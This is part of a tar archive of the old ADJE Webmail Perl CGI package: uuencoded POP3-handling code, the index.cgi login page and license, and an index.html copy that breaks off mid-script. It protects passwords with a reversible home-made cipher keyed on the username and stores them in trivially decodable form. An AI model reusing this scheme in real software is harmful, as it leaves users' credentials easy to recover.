"?0H`
"?0H`
2<W5B(&1U;7!?96YT:71Y('L*
1;7D@)&5N="`]('-H:69T.PH`
9;7D@0'!A<G1S(#T@)&5N="T^<&%R=',["@``
*;7D@0&US9W,["@``
D:68@*$!P87)T<RD@>R`@("`@("`@(R!M=6QT:7!A<G0N+BX*
6"69O<F5A8V@@)%\@*$!P87)T<RE["@``
=<'5S:"A`;7-G<RQD=6UP7V5N=&ET>2@D7RDI.PH`
"?0H`
"?0H`
F96QS92![("`@("`@("`@("`@("`@(R!S:6YG;&4@<&%R="XN+@H`
F(61E9FEN960H)&5N="T^8F]D>6AA;F1L92D@)B8@<F5T=7)N.PH`
C;7D@)&9I;&4@/2`D96YT+3YB;V1Y:&%N9&QE+3YP871H.PH`
J;7D@)'1Y<&4@/2!S8V%L87(H)&5N="T^:&5A9"T^;6EM95]T>7!E*3L*
.<'5S:"!`;7-G<RP@>PH`
11D]234%4(#T^("1T>7!E+`H`
41DE,15].04U%(#T^("1F:6QE+`H`
"?0H`
"?0H`
.<F5T=7)N($!M<V=S.PH`
"?0H`
0<W5B('5N9')E<W-I="!["@``
3"6UY("1C;V1E(#T@)%];,5T["@``
4"6UY("1$16ME>2`]("1?6S!=.PH`
:"6UY("1K;"`](&QE;F=T:"@D1$5K97DI.PH`
=;7D@0&-A<G(@/2!S<&QI="@O("\L)&-O9&4I.PH`
."6UY("1E<R`]("(B.PH`
1"6UY("1U<V5+97D@/2`Q.PH`
,"6UY("1C;G0],#L*
B"69O<B`H)&D@/2`P.R`D:2`\($!C87)R.R`D:2LK*2!["@``
2"0EI9B`H)&D^)&ML+3$I('L*
@"0DD8VYT(#T@)&-N="LK(&EF("@D8VYT("$](#`I.PH`
6"0D):68@*"1C;G0@/CT@)&ML*2!["@``
:"0D)"21U<V5+97D@/2`P.R`D8VYT(#TP.PH`
*"0D)?65L<V5["@``
6"0D)"21U<V5+97D@/2`D8VYT*RL["@``
%"0D)?0H`
+"0E](&5L<V4@>PH`
/"0D))'5S94ME>3TD:3L*
$"0E]"@``
""0H`
2"0DD82`]("1C87)R6R1I73L*
C"0DD8B`]('-U8G-T<B@D1$5K97DL("1U<V5+97DL(#$I.PH`
5"0DD861D(#T@)&$M;W)D*"1B*3L*
6"0DD8W)Y<'0@/2!C:'(H)&%D9"D["@``
7"0DD9&5C:7!H97(@+CT@)&-R>7!T.PH`
#"7T*
?"21D96-I<&AE<CUR979E<G-E*"1D96-I<&AE<BD["@``
3"7)E='5R;B`D9&5C:7!H97(["@``
"?0H`
0<W5B('-H;W=P<F5F<R!["@``
M;7D@*"1U<V5R;F%M92PD=7-E<E]D:7)N86UE+"1C;VQO<G,L)&QA;F<I(#T@
$0%\["@``
2;7D@)4,@/2`E)&-O;&]R<SL*
0;7D@)4P@/2`E)&QA;F<["@``
0;7D@)5!21493(#T@*"D["@``
5)%!21493>UE/55).04U%?3TB(CL*
D)%!21493>UE/55)!1$1215-3?3TD3'LG4D5154E2140G?3L*
?)%!21493>UE/55)324=]/21,>R=93U524TE')WT["@``
E:68@*"`M9B`B)'5S97)?9&ER;F%M92]P<F5F<RYT>'0B*2!["@``
F)5!21493(#T@)F=E=%]P<F5F<R@B)'5S97)?9&ER;F%M92(I.PH`
"?0H`
E<')I;G0@(F-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
@/'1I=&QE/E=E8B!"87-E9"!%+4UA:6P\+W1I=&QE/@H`
M/&UE=&$@;F%M93TB1T5.15)!5$]2(B!C;VYT96YT/2)796(@0F%S960@12U-
&86EL(CX*
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]/1D972$E417T@;&EN:STD0WM,24Y+?2!A
@;&EN:STD0WM!3$E.2WT@=FQI;FL])$-[5DQ)3DM]/@H`
M/$9/4DT@3D%-13UF;W)M,2!!0U1)3TX](FEN8F]X+F-G:2(@34542$]$/2)0
&3U-4(CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B('9A;'5E/21U
)<V5R;F%M93X*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B`@('9A;'5E/2)S
*971P<F5F<R(^"@``
M/'1A8FQE(&%L:6=N/6-E;G1E<B!W:61T:#TQ,#`E(&-E;&QP861D:6YG/30@
/8V5L;'-P86-I;F<],CX*
%/'1R/@H`
M/'1D(&%L:6=N/6-E;G1E<B!B9V-O;&]R/21#>T)'7T]204Y'17T@=VED=&@]
%.3`E/@H`
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!S:7IE/30@8V]L;W(])$-[
L5$585%]"3$%#2WT^/&(^)$Q[)U!R969E<F5N8V5S)WT\+V(^/"]F;VYT/@H`
&/"]T9#X*
M/'1D(&%L:6=N/6-E;G1E<B!B9V-O;&]R/21#>R="1U]055)03$4G?2!W:61T
&:#TU)3X*
M/&EN<'5T('1Y<&4](G-U8FUI="(@;VYC;&EC:STB=F%L:61A=&4H*2(@=F%L
?=64](B1,>R=5<&1A=&4@4')E9F5R96YC97,G?2(^"@``
&/"]T9#X*
M/'1D(&%L:6=N/6-E;G1E<B!B9V-O;&]R/21#>R="1U]055)03$4G?2!W:61T
&:#TU)3X*
M/&EN<'5T('1Y<&4](F)U='1O;B(@3VY#;&EC:STB:&ES=&]R>2YB86-K*"DB
7('9A;'5E/2(D3'LG0V%N8V5L)WTB/@H`
&/"]T9#X*
&/"]T<CX*
)/"]T86)L93X*
$/'`^"@``
D/'1A8FQE(&-E;&QP861D:6YG/3(@8V5L;'-P86-I;F<],CX*
%/'1R/@H`
M/'1D(&%L:6=N/7)I9VAT/CQF;VYT(&9A8V4](F%R:6%L+&AE;'9E=&EC82(@
M<VEZ93TT(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQS=')O;F<^)$Q[)UEO=7(@
<3F%M92=]/"]S=')O;F<^/"]F;VYT/CPO=&0^"@``
M/'1D('=I9'1H/34@86QI9VX]<FEG:'0^/&EN<'5T('1Y<&4]=&5X="!N86UE
M/5E/55).04U%('9A;'5E/2(D4%)%1E-[64]54DY!345](B!S:7IE/30P('1A
/8FEN9&5X/3$^/"]T9#X*
&/"]T<CX*
%/'1R/@H`
M/'1D(&%L:6=N/7)I9VAT/CQF;VYT(&9A8V4](F%R:6%L+&AE;'9E=&EC82(@
M<VEZ93TT(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQS=')O;F<^)$Q[)UEO=7(@
F12U-86EL($%D9')E<W,G?3PO<W1R;VYG/CPO9F]N=#X\+W1D/@H`
M/'1D('=I9'1H/34@86QI9VX]<FEG:'0^/&EN<'5T('1Y<&4]=&5X="!N86UE
M/5E/55)!1$1215-3('9A;'5E/2(D4%)%1E-[64]54D%$1%)%4U-](B!S:7IE
5/30P('1A8FEN9&5X/3(^/"]T9#X*
&/"]T<CX*
%/'1R/@H`
M/'1D(&-O;'-P86X],B!A;&EG;CUL969T/CQF;VYT(&9A8V4](F%R:6%L+&AE
M;'9E=&EC82(@8V]L;W(])$-[5$585%]"3$%#2WT@<VEZ93TT/CQS=')O;F<^
J)$Q[)UEO=7(@4VEG;F%T=7)E)WT\+W-T<F]N9SX\+V9O;G0^/"]T9#X*
&/"]T<CX*
%/'1R/@H`
:/'1D(&-O;'-P86X],B!A;&EG;CUL969T/@H`
M/'1E>'1A<F5A(')O=W,]-B!N86UE/5E/55)324<@8V]L<STW,"!W<F%P/2)P
5:'ES:6-A;"(@=&%B:6YD97@],SX*
;)%!21493>UE/55)324=]/"]T97AT87)E83X*
&/"]T9#X*
&/"]T<CX*
)/"]T86)L93X*
$/'`^"@``
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
&04-+?3X*
$/&(^"@``
%/'5L/@H`
8/&QI/B1,>U!2149)3E123S%]/"]L:3X*
8/&QI/B1,>U!2149)3E123S)]/"]L:3X*
8/&QI/B1,>U!2149)3E123S-]/"]L:3X*
8/&QI/B1,>U!2149)3E123S1]/"]L:3X*
&/"]U;#X*
%/"]B/@H`
(/"]F;VYT/@H`
(/"]F;W)M/@H`
(/"]B;V1Y/@H`
?/'-C<FEP="!L86YG=6%G93TB2F%V85-C<FEP="(^"@``
@9&]C=6UE;G0N9F]R;3$N64]54DY!344N9F]C=7,H*0H`
69G5N8W1I;VX@=F%L:61A=&4H*2!["@``
M+R\J*B!296IE8W0@94UA:6P@861D<F5S<R!I9B!I="!D;V5S;B=T(&-O;G1A
3:6X@86X@0"!C:&%R86-T97(N"@``
M=F%R(&9O=6YD070@/2!D;V-U;65N="YF;W)M,2Y93U52041$4D534RYV86QU
192YI;F1E>$]F*")`(BPP*0H`
3:68@*&9O=6YD070@/"`Q*2!["@``
M86QE<G0@*")705).24Y'.B`D3'LG66]U<B!%+4UA:6P@061D<F5S<R=]("%^
%($`B*0H`
M+R\@("`@("`@("!D;V-U;65N="YF;W)M,2Y93U52041$4D534RYF;V-U<R@I
!"@``
9+R\@("`@("`@("!R971U<FX@9F%L<V4["@``
1+R\@("`@("!](&5L<V4@>PH`
B+R\@("`@("`@(&1O8W5M96YT+F9O<FTQ+G-U8FUI="@I"@``
7+R\@("`@("`@(')E='5R;B!T<G5E.PH`
"?0H`
"?0H`
*/"]S8W)I<'0^"@``
(/"]H=&UL/@H`
(2$52141/0PH`
)97AI="@P*3L*
9?2`C(&5N9"!S=6(@<VAO=W!R969S+BXN"@``
/<W5B('-E='!R969S('L*
M;7D@*"1U<V5R7V1I<FYA;64L)'EO=7)N86UE+"1Y;W5R861D<F5S<RPD>6]U
,<G-I9RD@/2!`7SL*
0:68@*"1Y;W5R<VEG*2!["@``
M*"1Y;W5R<VEG("%^("]<<EQN)"\I("8F("@D>6]U<G-I9R`N/2`B7')<;B(I
".PH`
"?0H`
F;W!E;BA&2"PB/B\D=7-E<E]D:7)N86UE+W!R969S+G1X="(I.PH`
M<')I;G0@1D@@(E]?041*15]35$%25%]605))04),15]??%E/55).04U%7U-)
33D=,17PD>6]U<FYA;65<;B(["@``
M<')I;G0@1D@@(E]?041*15]35$%25%]605))04),15]??%E/55)!1$1215-3
97U-)3D=,17PD>6]U<F%D9')E<W-<;B(["@``
M<')I;G0@1D@@(E]?041*15]35$%25%]605))04),15]??%E/55)324=?355,
'5$E<;B(["@``
3<')I;G0@1D@@)'EO=7)S:6<["@``
D<')I;G0@1D@@(E]?041*15]%3D1?5D%224%"3$5?7UQN(CL*
+8VQO<V4H1D@I.PH`
+;7D@)5!21493.PH`
<)%!21493>UE/55).04U%?3TD>6]U<FYA;64["@``
B)%!21493>UE/55)!1$1215-3?3TD>6]U<F%D9')E<W,["@``
:)%!21493>UE/55)324=]/21Y;W5R<VEG.PH`
/<F5T=7)N("504D5&4SL*
;?2`C(&5N9"!S=6(@=W)I=&5?<')E9G,N+BX*
7<W5B('!O<%]T;U]M<V=?87)R87D@>PH`
M)'-O8VME="`](&YE=R!)3SHZ4V]C:V5T.CI)3D54+3YN97<H(`E0965R061D
5<B`@/3X@)%![4$]04T525D52?2P*
9"0D)"0E0965R4&]R="`@/3X@(C$Q,"(L"@``
9"0D)"0E0<F]T;R`@("`@/3X@(G1C<"(L"@``
?"0D)"0E4>7!E("`@("`@/3X@4T]#2U]35%)%04TL"@``
9"0D)"0E4:6UE;W5T("`@/3X@(C,P(BD["@``
9:68@*"%D969I;F5D*"1S;V-K970I*2!["@``
J;7D@)'1I=&QE/21,>R=03U`@4V5R=F5R($-O;FYE8W0@17)R;W(G?3L*
M;7D@)&5R<FUS9STB)$Q[)U5N86)L92!T;R!C;VYN96-T('1O(%!/4"!S97)V
797(G?2`Z("10>U!/4%-%4E9%4GTB.PH`
L)G!R:6YT7V)A8VM?97)R;7-G*%PE3"Q<)4,L)'1I=&QE+"1E<G)M<V<I.PH`
&97AI=#L*
"?0H`
=)'-T871E(#T@)G)E861S;V-K*"1S;V-K970I.PH`
E)'-O8VME="T^<V5N9"@B55-%4B`D=7-E<FYA;65<<EQN(BD["@``
=)'-T871E(#T@)G)E861S;V-K*"1S;V-K970I.PH`
E)'-O8VME="T^<V5N9"@B4$%34R`D<&%S<W=O<F1<<EQN(BD["@``
=)'-T871E(#T@)G)E861S;V-K*"1S;V-K970I.PH`
;:68@*"1S=&%T92`A?B`O7EPK3TLO:2`I('L*
H)G!R:6YT7V5R<FUS9RA<)4PL7"5#+")#3U!94DE'2%1/3DQ9(BD["@``
)97AI="@P*3L*
"?0H`
>:68@*"`A("UD("(D=7-E<E]D:7)N86UE(B`I('L*
=;6MD:7(H(B1U<V5R7V1I<FYA;64B+#`W,#`I.PH`
<:68@*"`A("UD("1U<V5R7V1I<FYA;64@*2!["@``
?)'1I=&QE/2)3971U:60@17)R;W(@365S<V%G92(["@``
3)&5R<FUS9ST\/$A%4D5$3T,["@``
$/&(^"@``
34V5T=6ED($5R<F]R+"!T<GDZ"@``
$/'`^"@``
:5')Y("(N+VEN<W1A;&PN<&P@<V5R=F5R(@H`
$/'`^"@``
M5&AE('=E8B!S97)V97(@*'5S=6%L;'D@=7-E<B`B;F]B;V1Y(BD@=VEL;"!O
*=VX@86QL/&(^"@``
79FEL97,@86YD(&1I<F5C=&]R:65S+@H`
(2$52141/0PH`
L)G!R:6YT7V)A8VM?97)R;7-G*%PE3"Q<)4,L)'1I=&QE+"1E<G)M<V<I.PH`
&97AI=#L*
1?2`C(&5N9"!I9B!C:&5C:PH`
"?0H`
::68@*"1A8W1I;VX@97$@(FQO9VEN(BD@>PH`
C;W!E;BA)1D@L(CXD=7-E<E]D:7)N86UE+VEP+G1X="(I.PH`
A<')I;G0@249(("(D14Y6>U)%34]415]!1$12?5QN(CL*
,8VQO<V4H249(*3L*
0:68@*"10>U-04U-]*2!["@``
M;W!E;BA01D@L(CXD=7-E<E]D:7)N86UE+RYD=W-S<"YT>'0B*2!\?"!P<FEN
=="!35$1%4E(@(DYO(&]P96X@4$9(("0A7&XB.PH`
?<')I;G0@4$9(('!A8VLH)W4G+"1P87-S=V]R9"D["@``
,8VQO<V4H4$9(*3L*
"?0H`
"?0H`
M(2`M9"`B)'5S97)?9&ER;F%M92]I;B(@)B8@;6MD:7(H(B1U<V5R7V1I<FYA
.;64O:6XB+#`W,#`I.PH`
G:68@*"`M9"`B)'5S97)?9&ER;F%M92]A='1A8VAM96YT<R(I('L*
I)G)M7VUS9V1I<B@B)'5S97)?9&ER;F%M92]A='1A8VAM96YT<R(I.PH`
F=6YL:6YK*"(D=7-E<E]D:7)N86UE+VUE<W-A9V5S+G1X="(I.PH`
"?0H`
<<V5N9"@D<V]C:V5T+"),25-47')<;B(L,"D["@``
9)%\@/2`F<F5A9'-O8VLH)'-O8VME="D["@``
M=VAI;&4@*"`A+UXM15)2+VD@)B8@*"1?/29R96%D<V]C:R@D<V]C:V5T*2D@
4)B8@(2]>7"Y<<C]<;B0O("D@>PH`
,<R]<<C]<;B0O+SL*
;*"1M<V=N;RPD;7-G<VEZ92D@/2!S<&QI=#L*
>)&US9U]S:7IE>R1M<V=N;WT@/2`D;7-G<VEZ93L*
6<'5S:"A`;7-G;F]S+"1M<V=N;RD["@``
"?0H`
<<V5N9"@D<V]C:V5T+")5241,7')<;B(L,"D["@``
9)%\@/2`F<F5A9'-O8VLH)'-O8VME="D["@``
M=VAI;&4@*"`A+UXM15)2+VD@)B8@*"1?/29R96%D<V]C:R@D<V]C:V5T*2D@
4)B8@(2]>7"Y<<C]<;B0O("D@>PH`
,<R]<<C]<;B0O+SL*
8*"1M<V=N;RPD=6ED;"D@/2!S<&QI=#L*
A)'5I9&P@/2`F=6ED;%]T;U]D:7)N86UE*"1U:61L*3L*
@)$].7U!/4%]315)615)[)'5I9&Q](#T@)&US9VYO.PH`
:<'5S:"A`;VY?<&]P7W5I9',L)'5I9&PI.PH`
"?0H`
0:68@*"]>+4524B]I*2!["@``
;9F]R96%C:"`D;7-G;F\@*$!M<V=N;W,I('L*
M)'5I9&P@/2`F9V5T7V]U<E]U:61L*"1M<V=N;RPD;7-G7W-I>F5[)&US9VYO
,?2PD<V]C:V5T*3L*
@)$].7U!/4%]315)615)[)'5I9&Q](#T@)&US9VYO.PH`
:<'5S:"A`;VY?<&]P7W5I9',L)'5I9&PI.PH`
"?0H`
"?0H`
1:68@*"UF("1M<V=D8BD@>PH`
M0&]L9%]M<V=S(#T@)G)E861?;65S<V%G97-?9G)O;5]D:7-K*"(D;7-G9&(B
#*3L*
"?0H`
M;7D@)6US9U]S=&%T97,@/2`F9V5T7VUE<W-A9V5?<W1A=&5S*%Q`;VQD7VUS
%9W,I.PH`
M;7D@)6US9U]F;F%M97,@/2`F9V5T7VUE<W-A9V5?9FYA;65S*%Q`;VQD7VUS
%9W,I.PH`
70&YE=U]M<V=S(#T@0&]L9%]M<V=S.PH`
::68@*"1A8W1I;VX@97$@(FQO9VEN(BD@>PH`
.0&YE=U]M<V=S/2@I.PH`
99F]R96%C:"`D7R`H0&]L9%]M<V=S*2!["@``
E*"]>5D%27"])1#HH6UY\72LI?"\I("8F("@D:60@/2`D,2D["@``
D:68@*"1M<V=?<W1A=&5S>R1I9'T@97$@(D1%3$5412(I('L*
F:68@*"!D969I;F5D*"1/3E]03U!?4T525D52>R1I9'TI("D@>PH`
M<V5N9"@D<V]C:V5T+")$14Q%("1/3E]03U!?4T525D52>R1I9'U<<EQN(BPP
#*3L*
9)%\@/2`F<F5A9'-O8VLH)'-O8VME="D["@``
<=6YD968H)$].7U!/4%]315)615)[)&ED?2D["@``
"?0H`
A:68@*"UD("(D=7-E<E]D:7)N86UE+VEN+R1I9"(I('L*
D)G)M7VUS9V1I<B@B)'5S97)?9&ER;F%M92]I;B\D:60B*3L*
"?0H`
D?2!E;'-E('L@(R!I9B!M<V=?<W1A=&4@;F4@(D1%3$5412(*
F:68@*"!D969I;F5D*"1/3E]03U!?4T525D52>R1I9'TI("D@>PH`
4<'5S:"A`;F5W7VUS9W,L)%\I.PH`
M?2!E;'-I9B`H("1M<V=?9FYA;65S>R1I9'T@/7X@+TQ!4U1#3U!9+G1X="0O
%("D@>PH`
4<'5S:"A`;F5W7VUS9W,L)%\I.PH`
"?0H`
-?2`C(&5N9"!E;'-E"@``
0?2`C(&5N9"!F;W)E86-H"@``
=?2`C(&5N9"!I9B!A8W1I;VX@/2!L;V=I;BXN+@H`
-)&YU;6YE=R`](#`["@``
=9F]R96%C:"`D:60@*$!O;E]P;W!?=6ED<RD@>PH`
G(61E9FEN960H)$].7U!/4%]315)615)[)&ED?2D@)B8@;F5X=#L*
C9&5F:6YE9"@D;7-G7W-T871E<WLD:61]*2`F)B!N97AT.PH`
+)&YU;6YE=RLK.PH`
C;7D@)&US9VYO("`@/2`D3TY?4$]07U-%4E9%4GLD:61].PH`
A;7D@)&US9W-I>F4@/2`D;7-G7W-I>F5[)&US9VYO?3L*
A*"1I9"`]?B`O7B@N*BDD+RD@)B8@*"1I9"`]("0Q*3L*
E;7D@)&%L;&1I<B`]("(D=7-E<E]D:7)N86UE+VEN+R1I9"(["@``
5;6MD:7(H)&%L;&1I<BPP-S`P*3L*
:)&%L;"`]("(D86QL9&ER+T%,3"YT>'0B.PH`
3;W!E;BA!1D@L(CXD86QL(BD["@``
C<V5N9"@D<V]C:V5T+")21512("1M<V=N;UQR7&XB+#`I.PH`
:)')E<W`])G)E861S;V-K*"1S;V-K970I.PH`
,0&AE861E<CTH*3L*
4;7D@)&1A=&5I;FAE861E<CTP.PH`
%9&\@>PH`
7)%\])G)E861S;V-K*"1S;V-K970I.PH`
I*"]>7%,K.B\@?'P@+UY<<RLO*2`F)B!P=7-H*$!H96%D97(L)%\I.PH`
8?2!W:&EL92`H("$O7EQR/UQN)"\@*3L*
<)"(])R<[('!R:6YT($%&2"`B0&AE861E<B(["@``
:)&AE861E<E]T96QL(#T@=&5L;"A!1D@I.PH`
M=VAI;&4@*"`H)%\])G)E861S;V-K*"1S;V-K970I*2`F)B`A+UY<+EQR/UQN
7)"\@*2![('!R:6YT($%&2"`D7SL@?0H`
,8VQO<V4H049(*3L*
1=6YD968H)6AE861E<G,I.PH`
B)6AE861E<G,@/2`F9V5T7VAE861E<G,H0&AE861E<BD["@``
=)&AE861E<G-[34534T%'14E$?2`@(#T@)&ED.PH`
B)&AE861E<G-[34534T%'15-)6D5](#T@)&US9W-I>F4["@``
K;7D@0&US9U]P87)T<R`]("9P97)L7W!A<G-E*"1A;&PL)&%L;&1I<BD["@``
>;7D@)')E8R`]("9R96-V87)S*"5H96%D97)S*3L*
=9F]R96%C:"`D;&EN92`H0&US9U]P87)T<RD@>PH`
M)')E8R`N/2`B)&QI;F4M/GM&3U)-051].B1L:6YE+3Y[1DE,15].04U%?7PB
".PH`
"?0H`
C<V5N9"@D<V]C:V5T+"),25-4("1M<V=N;UQR7&XB+#`I.PH`
:)')E<W`])G)E861S;V-K*"1S;V-K970I.PH`
8:68@*"1R97-P(#U^("\M15)2+VDI('L*
B)&YE=V%L;"`]("(D86QL9&ER+TQ!4U1#3U!9+G1X="(["@``
6<F5N86UE*"1A;&PL)&YE=V%L;"D["@``
@+68@)&YE=V%L;"`F)B`H)&%L;"`]("1N97=A;&PI.PH`
"?0H`
8)')E8R`N/2`B04Q,+T%,3#HD86QL(CL*
M:68@*"`D4'M34%-3?2`F)B`H)&%L;"`A?B`O3$%35$-/4%DN='AT)"\I("D@
">PH`
==')U;F-A=&4H)&%L;"PD:&5A9&5R7W1E;&PI.PH`
"?0H`
6<'5S:"A`;F5W7VUS9W,L)')E8RD["@``
M?2`C(&5N9"!F;W)E86-H("1I9"`H:V5Y<R@E3TY?4$]07U-%4E9%4BDI+BXN
!"@``
<<V5N9"@D<V]C:V5T+")154E47')<;B(L,"D["@``
<)')E<W`@/2`F<F5A9'-O8VLH)'-O8VME="D["@``
2<F5T=7)N($!N97=?;7-G<SL*
"?0H`
wm357/index.cgi100644    312    144       12553  7245677670  12616 0ustar  webmailusers#!/usr/bin/perl -wT

# Copyright 1998-present Michael Mohlere
# Copyright 1998-present ADJE, LLC

# TERMS:
# The advertisement html may NOT be changed, and no additional ad banners
# may be placed on the pages.  This is how we are compensated.  The ad banners,
# on a good month, will generate about $1 (one US dollar) in revenue, so it's
# hardly worth the risk of a copyright infringement! If you wish to include
# your own ad banners, you may purchase a site license.  Please visit our home
# page for details. Copyright and disclaimers may not be removed from pages.

# DISCLAIMER: Use this software at your own risk.

# WARNING: This computer program is protected by copyright law and international
# treaties. Unauthorized reproduction or distribution of this program, or any
# portion of it, may result in severe civil and criminal penalties, and will be
# prosecuted to the maximum extent possible under the law.

# Contact us ( support@adjeweb.com ) if you have problems installing
# the software.  We're here to help!

# Michael Mohlere
# President, ADJE, LLC ( http://www.adjeweb.com )

# This software includes many modules available from CPAN (Comprehensive
# Perl Archive Network - see www.perl.com).  These modules are free to use,
# modify, and distribute under the GNU GPL.

# Control error_log output OR print name of script to STDERR
BEGIN {
  use CGI::Carp qw(carpout);
  open(LOG,">>/dev/null") or die "Unable to append to /dev/null: $!\n";
  carpout(*LOG);
}

require "./language.cgi";
require "./params.cgi";

my %P = &get_params;
my %L = &get_language;
#print STDERR "home = $P{WEBMAILDIR}\n";
my %C = &get_colors($P{WEBMAILDIR});

#
# NOTE:
#
# We recommend that you consider moving your WebMail login page
# to a server page, like this:
#
# first:
#
# ./index.cgi > webmail.html
#
# next: remove the first two lines from webmail.html
# next: replace "inbox.cgi" and "uguide.cgi" in webmail.html with
#   the full URL of these files, which should be something
#   like http://www.domain.com/cgi-bin/WebMail/inbox.cgi
#   If you are unsure of the URL, just copy it from the "Address" part of
#   your web browser when the mailbox is displayed.
# next: move or copy webmail.html to a server directory and use this as your
#   login page.
#
# This way your login screen will not be overwritten if you upgrade
# the software in the future.  This also has the pleasant effect of saving
# your server the execution of index.cgi for each login.
#

print "content-type: text/html\n\n";
print<<HEREDOC;
<html>
<head>
<META content="text/html; charset=$L{CHARSET}" http-equiv=Content-Type>
<title>Web Based Email</title>
<META HTTP-EQUIV="Expires" CONTENT="Mon, 06 Jan 1990 00:00:01 GMT">
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
</head>

<body bgcolor=$C{BG_OFFWHITE} LINK=$C{LINK} ALINK=$C{ALINK} VLINK=$C{VLINK}>

<table align=center border=0 cellpadding=10 width="75%">
<tr>
<td align=center bgcolor=$C{BG_ORANGE}> 
<font face="arial,helvetica" color=$C{TEXT_BLACK} size=5><b>$L{'Log Into Your E-Mail Account!!'}</b>
</td>
</tr>
</table>

<table align=center width="25%" border=0 cellpadding=4 cellspacing=4>
<form name=login method=POST action="inbox.cgi">
<tr>
<td bgcolor=$C{BG_PURPLE} align=center><font face="arial,helvetica" color=$C{TEXT_BLACK} size=5><b>$L{'User Name'}</b></font></td>
<td bgcolor=$C{BG_PURPLE} align=center><font face="arial,helvetica" color=$C{TEXT_BLACK} size=5><b>$L{'Password'}</b></font></td>
</tr>

<tr>
<td bgcolor=$C{BG_PURPLE} align=center>
<input type=text name=USERNAME size=20>
</td>
<td bgcolor=$C{BG_PURPLE} align=center><input type=password name=P size=20></td>
</tr>
<tr>
<td colspan=2 bgcolor=$C{BG_OFFWHITE} align=center><input type=hidden name=ACTION value=login><input type=submit onclick="dressit();" value="$L{'Log In'}"></td>
<input type=hidden name=LIST value="">
</tr>
</form>
</table>
</center>
<p>
<font face="arial,helvetica" color=$C{TEXT_BLACK}>
<center>
<big><strong>[ <a href="uguide.cgi">$L{'UGuide'}</a> ]</strong></big>
</center>
</font>
<p>
<table align=center border=0 cellpadding=10 width="75%">
<tr>
<td bgcolor=$C{BG_ORANGE}> 
<p>
<small>
<font face="arial,helvetica" color=$C{TEXT_BLACK}>
ADJE Webmail Version $P{VERSION} &copy; 1998,1999,2000 ADJE, LLC (The Edge). All Rights Reserved. <b>DISCLAIMER:</b> Use this software and the associated web pages at your own risk.  You may download the perl cgi scripts that generate these 
pages <b>FREE</b> from our home page at <b><a href="http://www.adjeweb.com">http://www.adjeweb.com</a></b>
</small>
</font>
</td>
</tr>
</table>

</center>

</body>
<script language="JavaScript1.2">
<!--

document.login.USERNAME.focus()
document.login.P.value=""

function dressit () {
 var kv = "" + document.login.USERNAME.value
 var kl = kv.length
 
 var pv = "" + document.login.P.value
 var pl = pv.length

 var es = ""
 var npass = ""
 var usekey = 1
 var cnt = 0
 pv = rev(pv)
 var cipher = ""
 for (var i=0; i<pl; i++) {
    if (i>kl-1) {
      if (cnt>=kl) {
        usekey = 0; cnt = 0;
      } else {
        usekey = cnt++
      }
    } else {
      usekey = i
    }

    var add = pv.charCodeAt(i) + kv.charCodeAt(usekey)
    cipher += add + " "
    npass += String.fromCharCode(add)
 }

 document.login.LIST.value = cipher

}

function rev(string) {
 var revd = ""
 var np = ""
 for (var i=string.length-1; i>=0; i--) {
    revd += string.charAt(i)
    np += "*"
 }
 document.login.P.value = np
 return revd
}
    
//-->
</script>
</html>
HEREDOC
wm357/index.html100755    312    144        5614  7245677670  13003 0ustar  webmailusers<HTML><HEAD><TITLE>Your Favorite ISP</TITLE>
<META content="text/html; charset=windows-1252" http-equiv=Content-Type>
<META content="Mon, 06 Jan 1990 00:00:01 GMT" http-equiv=Expires>
<META content=no-cache http-equiv=Pragma>
<BODY aLink=blue bgColor=#d3dce3 link=blue vLink=purple>
<TABLE align=center border=0 cellPadding=10 width="75%">
  <TBODY>
  <TR>
    <TD align=middle bgColor=#ffbf00><FONT color=#000000 face=arial,helvetica 
      size=5><B>Log Into Your E-Mail Account!!</B> </FONT></TD></TR></TBODY></TABLE>
<TABLE align=center border=0 cellPadding=4 cellSpacing=4 width="25%">
  <FORM action="/cgi-bin/WebMail/inbox.cgi" method=post name=login>
  <TBODY>
  <TR>
    <TD align=middle bgColor=#3366cc><FONT color=#000000 face=arial,helvetica 
      size=5><B>User Name</B></FONT></TD>
    <TD align=middle bgColor=#3366cc><FONT color=#000000 face=arial,helvetica 
      size=5><B>Password</B></FONT></TD></TR>
  <TR>
    <TD align=middle bgColor=#3366cc><INPUT name=USERNAME> </TD>
    <TD align=middle bgColor=#3366cc><INPUT name=P type=password></TD></TR>
  <TR>
    <TD align=middle bgColor=#d3dce3 colSpan=2><INPUT name=ACTION type=hidden 
      value=login><INPUT onclick=dressit(); type=submit value="Log In"></TD><INPUT 
    name=LIST type=hidden> </TR></FORM></TBODY></TABLE>
<p>
<font face="arial,helvetica" color=$C{TEXT_BLACK}>
<center>
<big><strong>[ <a href="/cgi-bin/WebMail/uguide.cgi">User's Guide (English)</a> ]</strong></big>
</center>
</font>
<p>
<TABLE align=center border=0 cellPadding=10 width="75%">
  <TBODY>
  <TR>
    <TD bgColor=#ffbf00><FONT color=#000000 face=arial,helvetica><SMALL>
      <P>ADJE Webmail &copy; 1998,1999,2000 ADJE, LLC (The Edge). All 
      Rights Reserved. <B>DISCLAIMER:</B> Use this software and the associated 
      web pages at your own risk. You may download the perl cgi scripts that 
      generate these pages <B>FREE</B> from our home page at <B><A 
      href="http://www.adjeweb.com/">http://www.adjeweb.com/</A></B> 
      </SMALL></FONT></P></TD></TR></TBODY></TABLE>
<CENTER></CENTER>
<SCRIPT language=JavaScript1.2>
<!--

document.login.USERNAME.focus()
document.login.P.value=""

function dressit () {
 var kv = "" + document.login.USERNAME.value
 var kl = kv.length
 
 var pv = "" + document.login.P.value
 var pl = pv.length

 var es = ""
 var npass = ""
 var usekey = 1
 var cnt = 0
 pv = rev(pv)
 var cipher = ""
